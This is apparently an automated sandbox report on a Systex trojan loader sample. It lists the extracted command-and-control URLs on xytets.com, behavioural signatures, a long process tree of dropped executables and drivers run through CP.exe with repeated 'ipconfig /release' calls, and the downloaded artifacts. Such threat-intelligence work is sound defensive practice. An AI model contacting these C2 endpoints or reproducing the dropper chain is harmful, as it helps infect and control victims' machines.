Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
15/07/2026, 16:35
General
- Target 2026-07-15_c8f05f3bbeb644446c7b336fb0fdd089_elex_redline-stealer_rhadamanthys_stop.exe
- Size 230KB
- Sample260715-t3x2lact21
- SHA256 cd3787d891a0d6690dd110c59c4bd5a971e1586da553125572022626fbf6e2ea
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 43 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 54 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 63 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-15_c8f05f3bbeb644446c7b336fb0fdd089_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-15_c8f05f3bbeb644446c7b336fb0fdd089_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2272 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4708 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dbwqlgeywq.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\dbwqlgeywq.exeC:\Temp\dbwqlgeywq.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dbwqlgeywq.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_dbwqlgeywq.exeC:\Temp\i_dbwqlgeywq.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\aysqkidavt.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\aysqkidavt.exeC:\Temp\aysqkidavt.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_aysqkidavt.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_aysqkidavt.exeC:\Temp\i_aysqkidavt.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\fdxvplfays.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\fdxvplfays.exeC:\Temp\fdxvplfays.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_fdxvplfays.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_fdxvplfays.exeC:\Temp\i_fdxvplfays.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\kfcxvpnhfz.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\kfcxvpnhfz.exeC:\Temp\kfcxvpnhfz.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_kfcxvpnhfz.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_kfcxvpnhfz.exeC:\Temp\i_kfcxvpnhfz.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\fzxsmkecxu.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\fzxsmkecxu.exeC:\Temp\fzxsmkecxu.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_fzxsmkecxu.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_fzxsmkecxu.exeC:\Temp\i_fzxsmkecxu.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\rmhezxrpjh.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\rmhezxrpjh.exeC:\Temp\rmhezxrpjh.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_rmhezxrpjh.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_rmhezxrpjh.exeC:\Temp\i_rmhezxrpjh.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\uomgezwrpj.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\uomgezwrpj.exeC:\Temp\uomgezwrpj.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_uomgezwrpj.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_uomgezwrpj.exeC:\Temp\i_uomgezwrpj.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ebwtomgeyw.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ebwtomgeyw.exeC:\Temp\ebwtomgeyw.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ebwtomgeyw.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ebwtomgeyw.exeC:\Temp\i_ebwtomgeyw.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bztrljdbwt.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\bztrljdbwt.exeC:\Temp\bztrljdbwt.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bztrljdbwt.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_bztrljdbwt.exeC:\Temp\i_bztrljdbwt.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\tnlgdywqoi.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\tnlgdywqoi.exeC:\Temp\tnlgdywqoi.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_tnlgdywqoi.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_tnlgdywqoi.exeC:\Temp\i_tnlgdywqoi.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ifaysqkida.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ifaysqkida.exeC:\Temp\ifaysqkida.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ifaysqkida.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ifaysqkida.exeC:\Temp\i_ifaysqkida.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\cavsnkfdxv.exe ups_run2⤵
-
C:\Temp\cavsnkfdxv.exeC:\Temp\cavsnkfdxv.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_cavsnkfdxv.exe ups_ins2⤵
-
C:\Temp\i_cavsnkfdxv.exeC:\Temp\i_cavsnkfdxv.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\causnkfdxv.exe ups_run2⤵
-
C:\Temp\causnkfdxv.exeC:\Temp\causnkfdxv.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_causnkfdxv.exe ups_ins2⤵
-
C:\Temp\i_causnkfdxv.exeC:\Temp\i_causnkfdxv.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\usmkecxupn.exe ups_run2⤵
-
C:\Temp\usmkecxupn.exeC:\Temp\usmkecxupn.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_usmkecxupn.exe ups_ins2⤵
-
C:\Temp\i_usmkecxupn.exeC:\Temp\i_usmkecxupn.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\pjecwuomge.exe ups_run2⤵
-
C:\Temp\pjecwuomge.exeC:\Temp\pjecwuomge.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_pjecwuomge.exe ups_ins2⤵
-
C:\Temp\i_pjecwuomge.exeC:\Temp\i_pjecwuomge.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ebwuomgezt.exe ups_run2⤵
-
C:\Temp\ebwuomgezt.exeC:\Temp\ebwuomgezt.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ebwuomgezt.exe ups_ins2⤵
-
C:\Temp\i_ebwuomgezt.exeC:\Temp\i_ebwuomgezt.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dbwtolgeyw.exe ups_run2⤵
-
C:\Temp\dbwtolgeyw.exeC:\Temp\dbwtolgeyw.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dbwtolgeyw.exe ups_ins2⤵
-
C:\Temp\i_dbwtolgeyw.exeC:\Temp\i_dbwtolgeyw.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ljdbvtolge.exe ups_run2⤵
-
C:\Temp\ljdbvtolge.exeC:\Temp\ljdbvtolge.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ljdbvtolge.exe ups_ins2⤵
-
C:\Temp\i_ljdbvtolge.exeC:\Temp\i_ljdbvtolge.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dyvqnigays.exe ups_run2⤵
-
C:\Temp\dyvqnigays.exeC:\Temp\dyvqnigays.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dyvqnigays.exe ups_ins2⤵
-
C:\Temp\i_dyvqnigays.exeC:\Temp\i_dyvqnigays.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\xvpnifaysq.exe ups_run2⤵
-
C:\Temp\xvpnifaysq.exeC:\Temp\xvpnifaysq.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\Temp\lidbvtnlgd.sysC:\Temp\lidbvtnlgd.sys1⤵
- Executes dropped EXE
-
C:\Temp\ysicavsnlf.sysC:\Temp\ysicavsnlf.sys1⤵
- Executes dropped EXE
-
C:\Temp\cxvpnifays.sysC:\Temp\cxvpnifays.sys1⤵
- Executes dropped EXE
-
C:\Temp\mkecxupnhf.sysC:\Temp\mkecxupnhf.sys1⤵
- Executes dropped EXE
-
C:\Temp\zxrpjhczus.sysC:\Temp\zxrpjhczus.sys1⤵
- Executes dropped EXE
-
C:\Temp\bzurmjecwu.sysC:\Temp\bzurmjecwu.sys1⤵
- Executes dropped EXE
-
C:\Temp\wrpjhbztrm.sysC:\Temp\wrpjhbztrm.sys1⤵
- Executes dropped EXE
-
C:\Temp\lgeywqojgb.sysC:\Temp\lgeywqojgb.sys1⤵
- Executes dropped EXE
-
C:\Temp\dysqlidbvt.sysC:\Temp\dysqlidbvt.sys1⤵
- Executes dropped EXE
-
C:\Temp\tnlfdxvqni.sysC:\Temp\tnlfdxvqni.sys1⤵
- Executes dropped EXE
-
C:\Temp\sqkicavsnk.sysC:\Temp\sqkicavsnk.sys1⤵
-
C:\Temp\kicausmkfc.sysC:\Temp\kicausmkfc.sys1⤵
-
C:\Temp\czusmkecwu.sysC:\Temp\czusmkecwu.sys1⤵
-
C:\Temp\wuomhezxrp.sysC:\Temp\wuomhezxrp.sys1⤵
-
C:\Temp\trmkebwuom.sysC:\Temp\trmkebwuom.sys1⤵
-
C:\Temp\ojgbztrljd.sysC:\Temp\ojgbztrljd.sys1⤵
-
C:\Temp\wqljdbvtnl.sysC:\Temp\wqljdbvtnl.sys1⤵
-
C:\Temp\lidbvtnlfd.sysC:\Temp\lidbvtnlfd.sys1⤵
-
C:\Temp\qlidavtnlf.sysC:\Temp\qlidavtnlf.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
aysqkidavt.exe
bzurmjecwu.sys
cxvpnifays.sys
dbwqlgeywq.exe
fdxvplfays.exe
fzxsmkecxu.exe
i_aysqkidavt.exe
i_dbwqlgeywq.exe
i_fdxvplfays.exe
i_fzxsmkecxu.exe
i_kfcxvpnhfz.exe
i_rmhezxrpjh.exe
i_uomgezwrpj.exe
kfcxvpnhfz.exe
lidbvtnlgd.sys
mkecxupnhf.sys
rmhezxrpjh.exe
uomgezwrpj.exe
ysicavsnlf.sys
zxrpjhczus.sys
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
RecoveryStore.{33C72377-806B-11F1-BC3D-F6DD02F7A3D1}.dat
RecoveryStore.{33C985ED-806B-11F1-BC3D-F6DD02F7A3D1}.dat
suggestions[1].en-US
memory/412-64-0x0000000000010000-0x0000000000083000-memory.dmp
memory/512-76-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1080-131-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1516-127-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1516-122-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1656-16-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1972-155-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2324-143-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2704-126-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3136-40-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3924-151-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3936-162-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3972-91-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4132-28-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4312-147-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4568-108-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4788-139-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4916-135-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4924-104-0x0000000000010000-0x0000000000083000-memory.dmp